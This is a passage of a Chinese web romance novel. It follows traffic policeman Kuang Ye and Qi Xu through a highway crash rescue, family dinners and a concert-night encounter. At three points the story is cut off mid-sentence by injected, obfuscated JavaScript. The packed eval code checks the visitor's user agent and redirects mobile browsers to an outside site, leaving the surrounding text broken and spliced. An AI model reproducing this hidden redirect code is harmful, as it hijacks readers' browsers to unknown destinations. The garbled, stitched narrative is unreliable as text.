况野大学毕业之后,以应届生加上退伍兵的身份参加了当年的公务员考试,成功考上森城的交警。 他给奶奶上了坟之后,带着自己为数不多的行李乘坐长途大巴车从老家来到了森城。 相隔近两千公里,远距离的舟车劳顿,车里乘客都一身风尘疲惫,尤其到了夜间,车厢里唯一回荡的是此起彼伏的呼噜声。 况野是其中的异类,获得多年理想中的工作和即将开始新生活的期待感让他兴奋,尤其位置已经临近森城,这个对他来说意义很复杂的城市。 他扒着车窗一直张望划过的风景,沿途都是一成不变的高速路。 突然,前方司机发出“咦”的一声,随即是明显的车速降低。 其他人都还在沉睡中,只有况野注意到了这变化。 很快,那辆侧翻的车和变形、断裂的护栏就也出现在了他的视野里,事故应该是刚发生不久,周围弥漫的烟尘还未完全散去。 况野几步冲到司机驾驶位旁,“那边有车祸!” 司机已经从刚才的惊讶情绪里恢复过来,车速也提了起来,他朝况野挥了挥手机,“刚我已经打了救援电话,位置说得挺清楚的,一会儿会有人处理的啦。” “但是,咱们......”车子已经驶出一段距离,“就不管了吗?” 司机有些无奈和不耐烦,“那我的工作就是把你们送到森城客运站嘛。” 况野迅速作出决定,“那你靠边停车,我下去帮忙。” 司机侧过头看他一眼,“高速上不能停车。” 况野用力按了一下他肩膀,“前后都没有车,我拎着行李就下去,很快的,就几秒。” 他话没说完,已经奔回自己的位置旁边,从行李架上取下自己的包。 司机嘟囔一声“有病!”,目测前方几十米远有个匝道,前后视野里又确实没车。 拐入匝道,刹车停了下来,开了车门。 况野跳下车,朝那辆车的方向狂奔。 到了附近,他先把自己的包找个不碍事的地方放下,凑近车窗。 他先发现的是驾驶室这边的中年女人,这一侧车辆受损的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599514|172009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要比另一侧更严重。 里面女人背对着他,不知道为什么没有系安全带,导致她整个人扑到了副驾驶那边,双臂呈拥抱状,应当抱住的是副驾驶上坐的人。 况野已经可以直接确认中年女人死亡,因为她的头部整个儿被一根折断的栅栏洞穿,红色白色液体滴答顺着头发滑下,炎热夏夜里味道令人想呕。 但他顾不上先去吐,因为注意到了女人怀里抱着的副驾驶乘客,从头发长度推断也是一个女性,轻微扭动了一下身子。 他小跑绕去另一边,不知是不是事故发生当时开车的人及时将方向打到了右边的原因,有效减轻了碰撞,只是车体变形比较严重。 况野呼喊车里的人,查看是否有反应。 副驾驶的人从一开始的缓慢转动身体到慢慢抬起沾满血的手。 还活着,况野有点激动,喊着叫她坚持一下,他马上救她出来。 女孩抬起的手并没有放下,而是继续挨近玻璃,最终在布满裂纹的车玻璃上点了一下,留下个浅淡的血色印记。 况野四周打量有没有趁手的工具,能够用来救人的。 但随即越发浓烈的汽油味道让他意识到,他必须带着幸存的这女孩,赶紧逃离这辆车。 就算没亲历过爆炸现场,也看过车祸后起火爆炸的影视作品,他不确定什么时候面前就会炸响“砰”的一声,所以完成救人加逃离这两件事,越快越好,离得越远越安全。 在脑中快速模拟了一遍,大概能确保砸车窗把人拽出来这一行为不会对女孩造成二次伤害。 况野直接挥拳砸向已经有裂纹的玻璃。 清脆响声之后,玻璃上出现破洞,他跑回自己行李袋旁拿出一件长袖衬衫,包在玻璃断口处,继续拓大破洞尺寸,同时还能裹住碎玻璃乱飞。 终于,整面车窗都几乎被砸碎,况野将手伸进去试图打开车门,但因为挤压导致车门严重变形,他拉动几下把手,车门还是纹丝不动。 重新攥了下已经受伤的拳头,仿佛这动作能减轻痛感,他开始继续朝车里女孩喊话,叫她努力朝车门这边移动身体,自己会把她抱出来。 女孩应该是听懂了他的话,艰难缓慢地从紧抱着她的女人怀里挣脱出来,血糊糊的一个人,费力地爬向况野的方向。 况野万分焦急,看到两个人已经分开,女孩速度又实在太慢,索性两只胳膊伸进车窗里,抓住女孩肩膀。 控制着只用极小的力气,把人慢慢拖出来,在她靠近玻璃碎茬的时候,用胳膊挡在外围,女孩子留疤可不好。 先是头脸、肩膀、腰、腿......女孩整个儿身体脱出车窗,被况野稳当抱住。 他低下头,凑到女孩耳旁,“车子像是很快要爆炸,你妈妈应该已经......我实在没办法把她也从车里弄出来,我现在先要带你离开。” 女孩含糊地咕哝几下,头靠在他胸口,手指抓着他衣襟。 况野把人又往上掂了掂,疾步朝远方跑。 跟戚许对上了那晚的细节,她却讷讷的半天不再出声。 刚才,急诊门口不是个适合一直站着说话的地方,他们就绕到后方医院小花园里,两人坐在树旁的长椅上。 随着他的讲述,她眼圈眼见着红起来,滚圆的大眼睛里贮满泪水,嘴唇翕动。 最后最后,她抱着自己膝盖,把头埋在胳膊里,肩膀颤动,声音呜呜。 况野辨别出,哭声里偶尔夹杂着的音节是,“妈妈”。 “对不起。”他懊恼自己的思维简单,不懂变通和善意的谎言,才会让她这么难过。 戚许抬起头,抽噎未止,说话对她来说有点费劲。 她想说的是,谢谢况野告诉了她,她没看到的,她一直不知道的,原来妈妈在最后一刻还想着保护她。 话还没出口,鼻孔先冒出一个滚圆晶亮的鼻涕泡。 两个人都怔住,随后戚许不好意思地笑了下,“那个,你有纸吗?” 况野从裤袋里拿出一包面巾纸,整包递给她,“两次大难不死,你妈妈看到你这么顽强也会开心的。” 他看戚许已经擤好鼻涕,站起身,“走吧,送你回家。” 戚许捏着他的纸巾,披着他的衣服,跟在他身后。 “我带你离开。” “我送你回家。” 唉,好吧。 4. 第四起 孟雪乔正听“故事”听得啧啧感叹。 “这应该算是命运的安排吗?还是缘分的神奇啊,能被一个人救两次。” 戚许从一开始的热血上头到现在已经理智很多,“估计他这人,好人好事做得多,赶上其中有两次,帮助对象都是同一个人而已,这概率在他那儿就不算低了。” “毕竟夜路走多了总会遇上鬼的。” “你这都什么比喻......” 戚许扬扬下巴,“就那意思,你懂的。” 卧室门突然被推开,邵珩的脑袋伸进来。 他目光先落在孟雪乔身上停留一瞬,又转向戚许,一副乖巧好弟弟模样:“姐,妈让我叫你们吃饭了。” 从小到大,他不知道挨了多少顿这个除了年纪比他大两岁,身高、体型、还有他自认为的智商都不如他的表姐的打,所谓棍棒下出孝子,经年累月,成就了他最唾弃的小太监模样。 但还好,在外面戚许很顾全他大男人的面子。 戚许应一声,“就来咯。” 邵珩临退出去之前,又假借他妈名义:“我妈还说了,让你们少吃冰的。” “知道了,妇女之友。” 本来姨夫姨妈是想要出去吃的,戚许和孟雪乔都算是远道归来,应该给这俩孩子接风。 但问了两人意见,都一致地表示想吃家常菜。 老两口于是去超市采购一番,做了满满一大桌菜。 邵珩筷尖戳着碗里的米饭,“我姐回来,这家里谁才是亲生的,显而易见。” 姨夫获得了批准,可以喝一点酒,正兴奋地拧开白酒瓶盖,纠正道:“你姐没回来的时候,我们不也经常去看她吗?你的家庭地位又不是才改变的。” 姨妈给每个人都盛了汤,“不也做了你爱吃的,我们可没那么偏心。” 孟雪乔接过汤碗,甜甜笑:“谢谢姨妈。” “应该的应该的,你爸妈都在京城给你哥带孩子,你自己在这边,我们肯定要帮忙照顾的。” 戚许拿筷子的姿势一直不正确,但反正大多时候也不影响夹菜,所以一直也没被强制纠正过来。只是在国外几年,手法越发生疏了,夹牛肉试了几下都夹空。 姨妈直接用勺子帮她舀了一勺,“你就直接用勺子嘛。” 邵珩揶揄:“怎么不说,这样连菜都夹不好,以后到婆家会被人嫌。” “谁敢嫌?再说了想不想嫁,什么时候嫁人还不一定呢,想那么远。再说了,婆家喜欢的就一定是好的呀?他们喜欢的那都是利己的,什么温柔贤淑......” 戚许附和:“可不是,那方松丞一家就这样,我还说呢,都怪乔乔爸妈把她养得脾气太好。” 姨夫姨妈与孟雪乔的父母也是相识的,觉得能理解他们对儿子女儿不同的培养方式,但不赞同。 觉得戚许说得直白,但道理没错。 姨夫说:“老孟是有点迂腐,那思想和作风太老套。不过话说回来,还是雪乔遇人不淑,那姓方的一家实在小市民。” 邵珩补充:“那姓方的本人也不怎么样,说到底还是她选男人眼光不行。” 这姐弟俩都不喜方松丞,孟雪乔也习惯了他的嘲讽,颇为无奈地瞪了他一眼。 姨妈又关心:“乔乔,那你之后的打算是?” 戚许先回答:“还有一场硬仗要打呢,得把那家人从房子里赶出去,还得去掉房本上方松丞的名字,估计是一哭二闹三上吊都得来一遍了。” 孟雪乔经过这几天的冷静,已经计划好:“明天锅仔就出院了,我准备带着它先回家住。淘淘说得对,那家人估计还有得磨,就算要回来,那房子我也不准备自己去住了,大概会卖掉吧。” “你家离学校太远,你又不会开车,上下班通勤多麻烦。” 大概孟雪乔的父母截止目前对她最满意的事就是,文科硕士毕业之后顺利考上了大学的辅导员岗位。然而他们对她的奖励是——给她安排相亲,凭借大学老师的身份找个靠谱的好男人结婚。 孟雪乔踟躇了一下,想说要不然在学校附近先租个公寓过渡,她想过的,她虽然工资不高,但要求也不高,干净、东西齐全、房东还允许养狗就行。 邵珩先她出声:“可以住到我那边,走路五分钟上班。” 姨夫姨妈豁然开朗,那套房子是戚许和邵珩小时候住过的,学校分给教职工的福利房,就挨着学校后门。 后来他们陆续买房、换房,那套老房子也还留着,毕竟承载了很多回忆,当年也是幸亏有这套房子,姨夫姨妈才能结婚。 本来一直空置着,没舍得出租,邵珩大三的时候跟同学一起创业,早出晚归的住在宿舍不方便,就索性搬到那儿。 这安排是最好不过了,他们也想过让孟雪乔跟戚许一起住在现在这个家里,有俩小姑娘和小动物们陪着,热热闹闹的。问题也是出在距离上,孩子们工作都在老城区,他们住的是后开发的环境和商业配套都完善的新区。 “这样好,不然你自己一个人住在外面我们还担心,那房子里都是本校教职工,还有保安,既安全又近。”姨妈笑眯眯的,“这样你爸妈也放心,” “那邵珩怎么办?”孟雪乔看向他。 邵珩夹起一根芹菜,不咸不淡的,也没看她,“我们新租了工作室,很宽敞,我去那儿住还方便干活。” “行啦,就这样决定。搬家的时候邵珩你跟着去啊,你俩姐姐可应付不了那家人。” 邵珩“呵”一声,“知道了。” 怕孟雪乔再推拒,姨妈赶快一锤定音,“那这件事就这样,其实也好,结婚之前他就暴露了自己的真面目,咱们及时看清挥别错的人,好事好事。” “我妈说得对。” “那咱们得庆祝一下。” 姨夫和邵珩同时开口,一桌人相视一笑,举起自己手边杯子。 “对了,”姨夫这口酒喝下之前又想到,“不仅是得帮雪乔庆祝,淘淘入职电视台,咱们是不也得庆祝一下?” “那一定得要啊!” 于是你一言我一语,话题又转到戚许的工作上。 对于她选择的这个职业,姨夫姨妈谈不上反对,只是和孟雪乔存在一样的担忧。 但架不住戚许再三的保证、举着手指头似模似样的发誓。 姨夫年初提了副院长,在森城本地传媒行业人脉深厚,姨妈问过戚许考试的时候要不要姨夫帮忙打个招呼,被她果断拒绝。 原话是“如果我的能力都不足以通过考试,那也没有必要去干这一行了。” 戚许的面试结果还没有出,但她自己感觉十拿九稳。 “这次没有考上也没关系嘛,反正一年好几次机会。再说淘淘是负伤去的,那状态肯定打折扣的。”姨夫觉得,戚许能在家待业一段时间也蛮好,每天在家吃吃喝喝玩玩,最好能养得胖一点儿,这孩子从国外回来,瘦得一把骨头。 “姨夫,小瞧我!”戚许佯怒,“对我这么没信心,我生气了。” “好好好,一定能考上,都市频道要又要多一个热血小记者了。”姨夫又呷一口酒,“说起来,这起高速路狗车事件,热度不小,我听老周说,台里要和交警队合作一个节目,好像是叫,哦对,《交警在线》。” 孟雪乔小小地跟戚许碰了下杯,“恭喜,你又有机会可以假公济私,借工作名义跟况警官接触了。” 戚许挥挥手,“八字没有一撇呢,不过如果真的可以的话,嘿嘿......” 姨妈当然也看到了现场报道,“那个救了淘淘的交警,身手不错的呢,长得也精神。” “形象确实不错,这节目要能成啊,估计出镜的也得有他。” “哎,咱们是不是得去谢谢人家?”这几天家里因为戚许受伤又考试而忙活,都把这茬给忘了。 孟雪乔朝戚许挤了一下眼睛,笑着接口:“还是让淘淘自己去谢吧,而且,认真算起来,他是淘淘两次的救命恩人。” “两次?” 戚许“嗐”声叹口气,把她与六年前那个做好事不留名的好心人相认的前因后果简单讲述了一遍。 一桌人又唏嘘起来。 姨妈恨恨的:“许宏图那个没良心的,都不如一个外人!我现在都记得清楚,在医院我给他打电话,他都不肯来。我姐走了都没有三个月,新老婆娶进门了!怕碍着他的眼,把淘淘扔到国外去,这么多年一声没问过......” 对戚许生父许宏图的控诉,姨妈可能三天三夜也说不完。 姨夫截住她的话:“吃饭呢,你又说这些不开心的。淘淘现在不是很好吗,完成学业,回到咱们身边,以后咱们一家还是好好地过日子。” 戚许也宽慰姨妈:“我就当没有他嘛,反正我也是跟妈妈姓的。” “就是的嘛......” ** 一顿热闹晚饭吃完,邵珩又回了他的工作室。 晚上姨夫姨妈出去散步回来,又给两个小姑娘带了网红水果捞,因为看到排队的人多,觉得她们一定也会喜欢吃。 四个人又一起看了会儿电视。 晚上九点多,姨夫姨妈习惯早睡,各自洗过澡就回房休息了。 孟雪乔跟戚许一起睡她卧室的大床,这个时间,两个人都不困,各自找个舒服姿势窝在床上玩手机,有一搭无一搭的聊天。 戚许这两天一直有留意救助群里的后续,除了一部分像锅仔这样被警方带去指定医院体检治疗的,其他被解救下来但是暂时没有被领走的狗子们,其中也有一些状态不大好需要医治,群成员们都在有钱的出钱,有力的出力。 她也捐了一些钱,又把整件事的经过编辑了一下图文,发到了几个平台的账号上。 账号是她领养了毛豆之后建的,一开始只是分享一只患有基因缺陷的猫咪的日常,因为毛豆独特的长相收获了一波粉丝。后来她又收养了因为主人毕业回国被弃养的龙猫皮皮,她觉得有趣的智障猫和长毛猪鼠的互动视频就也会发到上面,账号经营了几年,到现在也算是小红的宠物博主。 将帖子发布,她舒口气,那晚揪心的小眼神她一想起来就心有不忍,总想着还能为毛孩子们做点什么,偏这两天又有点忙。 总算弄完,希望能借着她这一点点影响力,让狗子们得到更多的帮助。 顺手浏览起其他的内容,也不知是手机监听还是碰巧,刷到“分手攻略”,看得咯咯直乐,赶快转发给孟雪乔。 孟雪乔收到来自戚许的微信,“离这么近还发微信啊?” 戚许正趴在抱枕上,慢悠悠晃着两只小腿,乐不可支:“我没法复述出精髓嘛,你看原文,哈哈哈。” 孟雪乔点开,是教人分手后打包自己或对方行李的备忘以及如何快刀斩乱麻结束掉死缠烂打的另一半的内容。 也算有用吧,收藏了。 “哎,方松丞这几天都没联系你?”戚许黏过来,枕到孟雪乔大腿上。 “我们最后一次联系,是他劝我看开点,锅仔找不回来也没关系,不就一条狗嘛。” “之后的这些他全不知道?” “我不想和他说,也不想听他说,所以,拉黑。”孟雪乔做了个停止的手势。 “我们乔姐绝情起来啊可真是,”戚许想象那一家人对于自己即将被扫地出门的事情还一无所知,等到他们找上门去会看到的懵逼样子就觉得好笑。 孟雪乔撂下手机,伸出胳膊,架在戚许脖子上,模仿那晚她被人挟持时候的姿势。 当然也是知道她心理强大才会这样玩的。 “从实招来,为什么立志一定要拿下那个交警?” “姨妈都说了嘛,一身正气加上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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戚许觉得都不用想,对于一向乐于助人的况警官来说,那结果一定是—— “不好意思。” 嗯? “我因为平时工作比较忙,周末还有一些固定的,私人的安排,所以不大有时间,应该没办法陪你有证练车。 但是因为工作关系,我也认识一些专门从事这个行业,很有耐心经验也丰富的教练。” 那微信不是还得加,人家会要你把联系方式微信发给她的嘛。 真是,婉拒人家还拒得这么不彻底。 然而,下一秒,况野打开手边的笔记本,从后往前翻倒某一页,展示给那女孩看。 “这些是教练们的姓名和电话,你拍个照吧,回去可以选择一个比较合眼缘的。” 人家就觉得跟你最合眼缘呐,真是不解风情。 戚许还没腹诽完,被朝这边看过来的况野发现了。 女孩不大乐意地拍了照片。 况野十分有礼貌的道过别之后,走到门口。 戚许把纸袋递给他,“还你,谢谢。” “客气了。” “我做完记录,听你同事说你在这里。” “那你现在?” “衣服给你了,我准备走了。” “那走吧,一起下去。” 两人并肩下楼,戚许又想捉弄他,突然问:“干嘛不加微信?” 况野才意识到她刚目睹了全程。 “麻烦。”他不认为自己擅长处理人际关系,所以还是省点事更好。 “你们有纪律不能跟大学生谈恋爱吗?” “没有,不过......”况野在想,他们好像还没熟到讨论情感话题的程度。 “不必浪费双方时间。” “好高冷。”戚许举起大拇指。 “嗯。” “还是你已经有女朋友了?” “没有。” 戚许瞟他一眼,“那你一定要求很高了,人家小女孩蛮好看的,还活泼开朗可爱大方。” “对。”反正他们以后应该也不会再见面了,况野想着,胡乱应付。 把人送到门口,戚许再次郑重道谢,游戏时间结束,平心而论,她真的很感激况野,哪怕他帮过救过很多人,但对她来说的意义是特殊而重大的。 况野是真的没放在心上,也不希望他帮过的人留下什么心理包袱,毕竟没谁比他更懂那种沉重。 “你的手又留疤怎么办?要不等你手好了,我带你连手臂一起去做医美除疤吧?” “不用,真的没事。你也不用总想着这事。就当从来不认识我,以后我们也不大会再见了。” 路边正好驶来一辆出租车,况野伸手替戚许拦下。 “那就再见。”他看着她坐进车里,向她道别,跟对待女大学生完全一样的处理方式。 不是说不会再见,还再见个啥。 车开远,戚许开大了一点后座出风口风量,又朝后面看了一眼,他还站在门口朝这边望。 她极小声哼起歌,内心莫名升起一股隐隐约约的兴奋。 此前,她对况野的定义是:好人一个、寡言木讷、勤俭节约。 此刻,她对况野的定义得加上一条,不近女色。 从古到今,戚许这样爱啃难啃骨头,喜欢挑战的女性们就不少。 正所谓睁开眼睛看看她,就不信会有人两眼空空。 虽然知道他是好心,让自己不要对“恩情”太挂心。 她就是对那句“以后不会见面了”很不爽。 所以,不但要见,还要做到天天见,早上起床晚上睡前都在见。 不过,先让他在梦里不可自控地见到她,好像也蛮好? 5. 第五起 戚许觉得“大难不死,必有后福”这安慰人的话,搁在自己身上其实还蛮灵验的。 脖子上的伤口都还没有完全好的时候,她就接连两次觉得自己被幸运砸中了。 当然,第一件也不光是靠运气,即使只有短暂的实习经历,那她对自己的业务能力也是超级有自信的,所以在录取名单上看到自己的名字,虽然狂喜但是不意外。 小小记者,轻松拿下。 第二件就确实惊喜得多了。她和孟雪乔从中学时就粉上的一个歌手今年开了巡回演唱会,森城这一站的票,戚许想买票的时候早就售空了。 不过随即她就在微博上看到两张内场vip前排的黄牛票,虽然价格翻了几倍,还是迅速拿下,这可节省了不少时间和精力,可以心满意足了。 因为还没有开学,孟雪乔决定暂时先和戚许一起住在姨夫姨妈家,人都有畏难情绪,这事她实在想拖一拖。 但相应的令人超级无语的是,方松丞在联系不上她之后,也并没试图联系她身边的人,大概认定她只是一时想不开,需要点时间空间自己调解,反正他们也懒得管她,等她走出来丧狗之痛,还会回去做小伏低当个“标准”好老婆。 想来也是可笑,两人在一起快三年,虽然也并不是因为多么爱得死去活来,但她一直受父母的影响也好,方松丞善于伪装也好,至少她都觉得,这是个还挺不错的人,或者按照父母的说法,适合跟她过日子。 现在图穷匕见,她的唯一感受就跟戚许说得一模一样——这人不行。 据看过众多心理学作品,自认为已经成为半个业内人士的戚许分析,之前是她钝感力太强,而且也没真正对谁狠狠动心过,所以才能凑合。 孟雪乔反问,那她是不是对况警官狠狠动了心。 戚许只说,跟自己的面试一样,胜券在握。 而原因是,女人的猜测要比男人的肯定准确得多。 ** 演唱会这天,两人从下午就开始鼓捣妆造。 戚许早设计好了,她们俩的妆容都搞个精灵亮片妆,只不过孟雪乔的是森系精灵,主色调是绿色白色。 而她是暗夜猫娘,猫耳朵、猫铃铛都得带上,本来还买了猫尾巴的,试带之后觉得整体效果有些夸张,而且天气也热,所以最后一身搭配好,是一只无尾猫。 毛豆蹲在猫爬架上,随时进攻的姿势,警惕地看着这个“怪物”。 虽然它是一只轻微智障且对眼的猫,也是知道害怕的。 孟雪乔摆弄着手里两张票,虽然是戚许请客,对价格还是有些肉疼。 “这都快顶我一个月工资了。” 戚许满不在乎,“喜欢就得去拥有啊,我可不想七老八十了想起来曾经因为嫌贵,没去看的一场演唱会而觉得遗憾。” 傍晚时分,两人出门。 担心会堵车,特地提早了很多,果然,到了会场附近,四车道上都已经排满了车,且一动不动,像升旗仪式上的学生队列。 司机回过头跟她们商量,是否可以在这里就下车,然后步行一小段,不然按照这个堵车程度,不知道猴年马月能到。 两人本来也计划,时间充裕的话,就去附近喝点东西吹空调的,且看了下手机地图,前方一长段都是紫红色。 于是让司机结单下车。 她们在点评APP上找了一家评分较高的奶茶店,步行距离不到五百米。 导航提示需要过斑马线,目的地在马路对面。 两个人稍微等了一下,人行道灯变绿之后,提步走出。 却没想,正在路中间时,本来老老实实停在线前的一辆黑色轿车突然启动,径直朝前,冲向她们。 戚许和孟雪乔同时惊呼一声,下意识朝后躲。 下一秒,黑车又猛地刹住,车头几乎能蹭到戚许的裙边。 看着惊魂未定的她们,车子驾驶室内爆发出一阵狂笑。 戚许放下捂在胸口的手,她的心脏仍没有恢复正常的跳动,只是愤怒的情绪冲散了心有余悸。 她拍了一下孟雪乔挽着她胳膊的手,示意她没事,随后气咻咻走到驾驶位旁,敲窗户。 “下来!” 车门打开,下来的是个年轻男人,油头粉面,一身痞气。 他斜睨戚许,“干嘛?” “你故意的?差点撞到我们!” 男人语气极不屑:“差点儿?那不是还没撞到,你他妈的叽叽歪歪什么呢?要讹人呐?” 戚许不在撞没撞人这问题上跟他纠缠,“你吓到我和我朋友了,你得给我们道歉。” “滚你妈的,我看前面车动了我正常行驶,你们自己不长眼。” “哎你......” “怎么回事?” 戚许的声音和身后的一道男声同时响起,她回头看,两个着装的交警朝他们走过来。 随着脚步走近,再仔细看,左边那个居然是况野。 这是纯偶遇,确实有点巧了,但这不是眼下的重点。 看到有交警来,年轻男人的嚣张跋扈也收敛了一点,起码再开口,能像个正常人一样说话。 况野他们到近前,抬手敬礼。 “你好。” “请出示一下驾照。” 年轻男人钻回车里取出驾照递给况野。 孟雪乔重新拉住了戚许的手腕,把她往后拽了拽。 “这儿是什么情况?” 年轻男人抢先开口:“堵车嘛,前面车动了我也得往前挪一挪,正常的吧?这俩女的从我车前过,非得说我撞到她们了,警察同志,您说,这不讹人吗?” 况野和同事看向戚许跟孟雪乔这边。 戚许条理清晰:“人行道灯亮,我和我朋友正常过马路,走到这辆车前的时候,车猛然向前窜,差点碰到我们,而且确实吓了一大跳。” “你意思是没有撞到?” “没撞到,但是吓到了。” 况野和同事交换一下眼神,一致觉得,处理起来很简单。 同事对年轻男人说:“你好,你存在闯红灯以及行人横道未停车礼让行人的违章行为。根据《中华人民共和国道路交通安全法》的规定,闯红灯记6分,不礼让行人记3分,两者合并后,一次违法总计记9分。同时因情节较为恶劣,处以罚金500元。” “你们有没有搞错?要罚我,知道我姐夫是谁吗?”年轻男人勃然变色,声音也高起来。 况野指了指斜上方摄像头:“摄像头,以及行车记录仪都将你刚才的行为完整记录了下来,你如果对处理结果有异议,可以去申请行政复议。” 说着,递还驾照。 接过驾照,轻男人扯着嘴角,笑得鄙夷:“行,我也记住你们了啊,我的面子都不给,等着看。” 说话这会儿,前方车辆的确往前挪动了十几米,人行横道也变为红灯。 男人回到车里,使劲按了两下喇叭,同时把头伸出车窗嚷:“滚开!” 况野对戚许两人:“走吧。” 他们在中间安全岛上稍作等待。 况野同事压根没拿刚那男人放的狠话当回事,戏谑道:“还他姐夫,给他嚣张得,就老梁小舅子也不好使。不过,老梁也真是,给咱安排这个好活儿,我晚上饭都没吃呢,刚坐桌边就一个电话被叫来了。” “临时交通管制,而且这边人流车流量太大,需要疏导,一会儿人都进场了估计就能好不少。” 孟雪乔听这意思,他们可能还得一直加班到演唱会结束,因为散场同样人流车流量大。 “那你们得加班到多晚啊?”戚许跟她想到一块儿去了。 同事朝戚许苦笑一下:“一直到人走完呗,每次啊,碰上今天这种票卖得好、粉丝多的明星开演唱会都这样。” “那挺辛苦的。” “习惯了都。” 同事又多看了戚许几眼,认出了她就是那晚被况野救,他还带着人家去了医院的那姑娘,更热情了。 “你们也是来看演唱会啊?好像离开始时间还早呢吧。” “是呀,好不容易买到票的,就是怕路不好走,早点出门了。” “那上我们车里等会儿吧,开着空调呢,外头太热了。”同事邀请,指给她们看停在路旁的执勤车,是辆体型巨大的商务车。 盛情难却......她们都不好意思说要去奶茶店,怕被人觉得是嫌车上环境不好。 于是:“那好吧。” 跟其他同事打了招呼,况野他们带着戚许和孟雪乔上车。 拉开车门,孟雪乔先上,同事随后,况野本想在戚许上车之后自己最后一个的。 她一直低头点按手机,况野提醒她上车。 戚许正好跟餐馆老板沟通好,回过身跟他说;“我给大家买了一些吃的,有饭有面,还有凉饮料,就在附近一家快餐店,刚和老板说好了可以自提,咱们现在过去拿,走到那儿时间刚好。” 同事座位就在车门边,也听到了,“那不大好意思吧,你也太客气了。 况野也点头,“是啊,还能取消么?” 戚许摇摇手机,“当然不能!老板估计都打包好了,你说他肯不肯不做这生意啦?再说,你们不吃,我俩也吃不了那么多份啊。” 她两根手指捏起况野袖子上的一小块,晃一晃:“走吧,况警官,陪我去取餐。” 同事笑呵呵:“那谢谢了,妹子。对,就让野子陪你去,让他拎着。” “好嘞。”戚许爽快答应。 她把手机放回小挎包里,背着手,踱几步,很刻意的姿态,仰视况野:“真不巧哦,况警官,不如你所愿,我们又见面了呢。” 没给况野回应的机会,她继续朝前迈步。 “走吧。”现在的声音和心情是一样愉悦的。 戚许在前面带路,况野把自己步速压低很多,保持在她斜后方半米远的距离。 她的脚步轻快雀跃,短短的裙摆也像是跟着一起轻微跃动。 他们有一搭无一搭地说话。 中间得穿过一段两旁摆满小吃摊的步行街,戚许才回来,还不知道这儿近几年已成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“我怕胖,我不是那种天生瘦的体质,常年保持85斤很需要毅力的。” 况野不了解女孩子们为了美丽能付出多大的代价,他唯一关系亲近些的同龄女性,是没有这个心力和精力关注自己外表的。 老板手法很利落,几分钟烤好的鱿鱼就递给了戚许,“小心烫啊,美女。” 戚许接过来,举到自己脸前,晃一晃,问况野:“你看看,有没有我脸大?” 况野的教养告诉他,直勾勾盯着人看是很不礼貌的行为。但如果是对方要求,并且他还得给出答案的,那不照做,才是不尊重人。 他认真看了,滞了一下。然后认真回答:“在我这个角度,能够完全挡住你的脸了,所以尺寸应该是够的。” “那行。”戚许大口吃起来。 “还真挺好吃的,就是热量太高,不然我能再吃两个,还真没有虚假宣传。” 戚许吃东西挺豪放,也不怎么顾忌形象,一只大鱿鱼三下五除二消灭掉,签子扔进垃圾桶。 从包里拿出纸巾抹了下嘴,“完事儿!” 又拿出口红来补色,小镜子这种东西是孟雪乔包里才会有的,她这种糙人只能用前置摄像头。 她打开手机相机,让况野拿着,调节好角度。 画完,左右端详觉得满意,又把东西都收回包里。 走出步行街,再右拐,很容易就看到了戚许订餐那家。 到了店里,跟老板对好电话号码,况野主动拎起了两个大袋子。 回程,况野对周围比较熟悉,带着戚许走了另外一条路线,比去的时候顺畅得多。 到车旁,时间也差不多可以进场了,孟雪乔和戚许准备走了,又和况野还有他同事们寒暄了几句。 目送俩姑娘走远,况野同事们吃着各自分到的餐食。 “今儿是借了野子的光了。” “让人家小姑娘破费多不好意思。” “赶明让野子回请呗。” 况野没和他们坐一起,手边放着没打开的餐盒和饮料,有人问他咋还不吃,他回头笑笑,说这就吃。 他也没吃晚饭,却没什么饥饿的感觉,因为身体正被另一种暂无法命名的感受占据着。 摩挲着一次性筷子上的木刺,思绪像是跟着戚许走远了一样。 眼前不断闪回的,是那张灯下明媚灿烂的笑着的脸,她还有有两颗很对称的,恰恰好的小虎牙。 毕业这么多年,中学语文课本里的东西早忘光了,却莫名浮现出一句没头没尾的“巧笑倩兮,美目盼兮。” 她不再是前两次见面,况野印象里的,那根白嫩纤细极易折断的豆芽,她今晚更像是,趁夜色偷跑出来的顽皮精灵。 任性、随意、旁若无人,奔跑在嘈闹、市井气息浓厚的食肆间。 哦还有,他拎起自己衣服前襟,凑近鼻端闻了闻。 柑橘类的味道,闻着觉得香甜。 况野不自觉地,垂下眼睛微微勾动嘴角。 原来,是果园里的精灵。 6. 第六起 九月初,暑假结束,戚许和孟雪乔两个人,怀着截然相反的两种心情奔赴自己的工作。 开学之前的最后一场大戏,必然当属孟雪乔搬家。 已经做好了没办法一次性解决问题的心理准备,所以当天只想着拿走衣物和日用品,还有一些锁在保险柜里的首饰。 所以由邵珩开车,带着戚许和孟雪乔,把锅仔留给姨夫姨妈照顾。 他们俩一直不放心想跟着来,也存着点毕竟是长辈,方松丞的父母要忌惮一些的心理。但如果真让他们面对那种腌臜不堪,孟雪乔简直会以头抢地惭愧死,邵珩看得明白也不点破,只用自己简单粗暴的方式叫他爸妈完成交代的照顾动物们的任务就行。 冲锋陷阵什么的,有他在,还轮不到别人上呢。 戚许网购了几个大号整理箱,上面贴着预备收纳的种类。 